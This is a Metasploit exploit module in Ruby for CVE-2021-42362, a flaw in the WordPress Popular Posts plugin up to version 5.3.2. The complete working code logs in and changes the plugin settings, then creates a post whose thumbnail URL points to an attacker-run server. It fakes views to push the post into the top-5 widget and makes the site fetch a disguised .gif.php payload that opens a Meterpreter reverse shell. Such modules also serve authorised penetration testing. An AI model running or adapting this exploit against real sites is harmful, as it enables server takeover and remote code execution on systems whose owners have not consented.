##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Popular Posts Authenticated RCE',
'Description' => %q{
This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080.
The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request
for the payload, prior to getting a GET request.
This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2.
The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server.
Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget.
A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once
the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded
which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a
double extension ('.gif.php') allowing for arbitrary PHP code to be executed.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Simone Cristofaro', # edb
'Jerome Bruandet' # original analysis
],
'References' => [
[ 'EDB', '50129' ],
[ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ],
[ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ],
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ],
[ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ],
[ 'CVE', '2021-42362' ]
],
'Platform' => ['php'],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2021-06-11',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('USERNAME', [true, 'Username of the account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']),
# https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560
OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']),
# https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584
OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]),
]
end
def check
return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online?
checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3')
if checkcode == CheckCode::Safe
print_error('Popular Posts not a vulnerable version')
end
return checkcode
end
def trigger_payload(on_disk_payload_name)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => 'true'
)
# loop this 5 times just incase there is a time delay in writing the file by the server
(1..5).each do |i|
print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5")
Rex.sleep(10)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name),
'keep_cookies' => 'true'
)
end
if res && res.code == 404
print_error('Failed to find payload, may not have uploaded correctly.')
end
end
def on_request_uri(cli, request, payload_name, post_id)
if request.method == 'HEAD'
print_good('Responding to initial HEAD request (passed check 1)')
# according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length
# however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes.
# also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught
return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s })
end
if request.method == 'GET'
on_disk_payload_name = "#{post_id}_#{payload_name}"
register_file_for_cleanup(on_disk_payload_name)
print_good('Responding to GET request (passed check 2)')
send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif')
close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions
Rex.sleep(2) # wait for WP to finish all the checks it needs
trigger_payload(on_disk_payload_name)
end
print_status("Received unexpected #{request.method} request")
end
def check_gd_installed(cookie)
vprint_status('Checking if gd is installed')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
'method' => 'GET',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'page' => 'wordpress-popular-posts',
'tab' => 'debug'
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
res.body.include? ' gd'
end
def get_wpp_admin_token(cookie)
vprint_status('Retrieving wpp_admin token')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
'method' => 'GET',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'page' => 'wordpress-popular-posts',
'tab' => 'tools'
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
/<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body
Regexp.last_match(1)
end
def change_settings(cookie, token)
vprint_status('Updating popular posts settings for images')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'page' => 'wordpress-popular-posts',
'tab' => 'debug'
},
'vars_post' => {
'upload_thumb_src' => '',
'thumb_source' => 'custom_field',
'thumb_lazy_load' => 0,
'thumb_field' => 'wpp_thumbnail',
'thumb_field_resize' => 1,
'section' => 'thumb',
'wpp-admin-token' => token
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body
end
def clear_cache(cookie, token)
vprint_status('Clearing image cache')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_get' => {
'page' => 'wordpress-popular-posts',
'tab' => 'debug'
},
'vars_post' => {
'action' => 'wpp_clear_thumbnail',
'wpp-admin-token' => token
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
end
def enable_custom_fields(cookie, custom_nonce, post)
# this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it.
res = send_request_cgi!(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'),
'cookie' => cookie,
'keep_cookies' => 'true',
'method' => 'POST',
'vars_post' => {
'toggle-custom-fields-nonce' => custom_nonce,
'_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit",
'action' => 'toggle-custom-fields'
}
)
/name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body
Regexp.last_match(1)
end
def create_post(cookie)
vprint_status('Creating new post')
# get post ID and nonces
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'),
'cookie' => cookie,
'keep_cookies' => 'true'
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
/name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body
/wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body
/},"post":{"id":(?<post_id>\d*)/ =~ res.body
if ajax_nonce.nil?
print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.')
/name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body
ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id)
end
unless ajax_nonce.nil?
vprint_status("ajax nonce: #{ajax_nonce}")
end
unless wp_nonce.nil?
vprint_status("wp nonce: #{wp_nonce}")
end
unless post_id.nil?
vprint_status("Created Post: #{post_id}")
end
fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id
# publish new post
vprint_status("Writing content to Post: #{post_id}")
# this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'ctype' => 'application/json',
'accept' => 'application/json',
'vars_get' => {
'_locale' => 'user',
'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id)
},
'data' => {
'id' => post_id,
'title' => Rex::Text.rand_text_alphanumeric(20..30),
'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->",
'status' => 'publish'
}.to_json,
'headers' => {
'X-WP-Nonce' => wp_nonce,
'X-HTTP-Method-Override' => 'PUT'
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"'
return post_id, ajax_nonce, wp_nonce
end
def add_meta(cookie, post_id, ajax_nonce, payload_name)
payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"
vprint_status("Adding malicious metadata for redirect to #{payload_url}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'method' => 'POST',
'cookie' => cookie,
'keep_cookies' => 'true',
'vars_post' => {
'_ajax_nonce' => 0,
'action' => 'add-meta',
'metakeyselect' => 'wpp_thumbnail',
'metakeyinput' => '',
'metavalue' => payload_url,
'_ajax_nonce-add-meta' => ajax_nonce,
'post_id' => post_id
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"
end
def boost_post(cookie, post_id, wp_nonce, post_count)
# redirect as needed
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => 'true',
'cookie' => cookie,
'vars_get' => { 'page_id' => post_id }
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301
print_status("Sending #{post_count} views to #{res.headers['Location']}")
location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after>
(1..post_count).each do |_c|
res = send_request_cgi!(
'uri' => "/#{location}",
'cookie' => cookie,
'keep_cookies' => 'true'
)
# just send away, who cares about the response
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
res = send_request_cgi(
# this URL varies from the POC on EDB, and is modeled after what the browser does
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')
},
'keep_cookies' => 'true',
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
'_wpnonce' => wp_nonce,
'wpp_id' => post_id,
'sampling' => 0,
'sampling_rate' => 100
}
)
fail_with(Failure::Unreachable, 'Site not responding') unless res
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201
end
fail_with(Failure::Unreachable, 'Site not responding') unless res
end
def get_top_posts
print_status('Determining post with most views')
res = get_widget
/>(?<views>\d+) views</ =~ res.body
views = views.to_i
print_status("Top Views: #{views}")
views += 5 # make us the top post
unless datastore['VISTS'].nil?
print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}")
views = datastore['VISITS']
end
views
end
def get_widget
# load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond
# which then would kill the exploit, so in this case we just keep trying.
(1..10).each do |_|
@res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => 'true'
)
break unless @res.nil?
end
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
/data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body
# load the widget directly
(1..10).each do |_|
@res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),
'keep_cookies' => 'true',
'vars_get' => {
'is_single' => 0
}
)
break unless @res.nil?
end
fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
@res
end
def exploit
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
if cookie.nil?
vprint_error('Invalid login, check credentials')
return
end
payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"
vprint_status("Payload file name: #{payload_name}")
fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)
post_count = get_top_posts
# we dont need to pass the cookie anymore since its now saved into http client
token = get_wpp_admin_token(cookie)
vprint_status("wpp_admin_token: #{token}")
change_settings(cookie, token)
clear_cache(cookie, token)
post_id, ajax_nonce, wp_nonce = create_post(cookie)
print_status('Starting web server to handle request for image payload')
start_service({
'Uri' => {
'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) },
'Path' => "/#{payload_name}"
}
})
add_meta(cookie, post_id, ajax_nonce, payload_name)
boost_post(cookie, post_id, wp_nonce, post_count)
print_status('Waiting 90sec for cache refresh by server')
Rex.sleep(90)
print_status('Attempting to force loading of shell by visiting to homepage and loading the widget')
res = get_widget
print_good('We made it to the top!') if res.body.include? payload_name
# if res.body.include? datastore['SRVHOSTNAME']
# fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.")
# end
# at this point, we rely on our web server getting requests to make the rest happen
end
end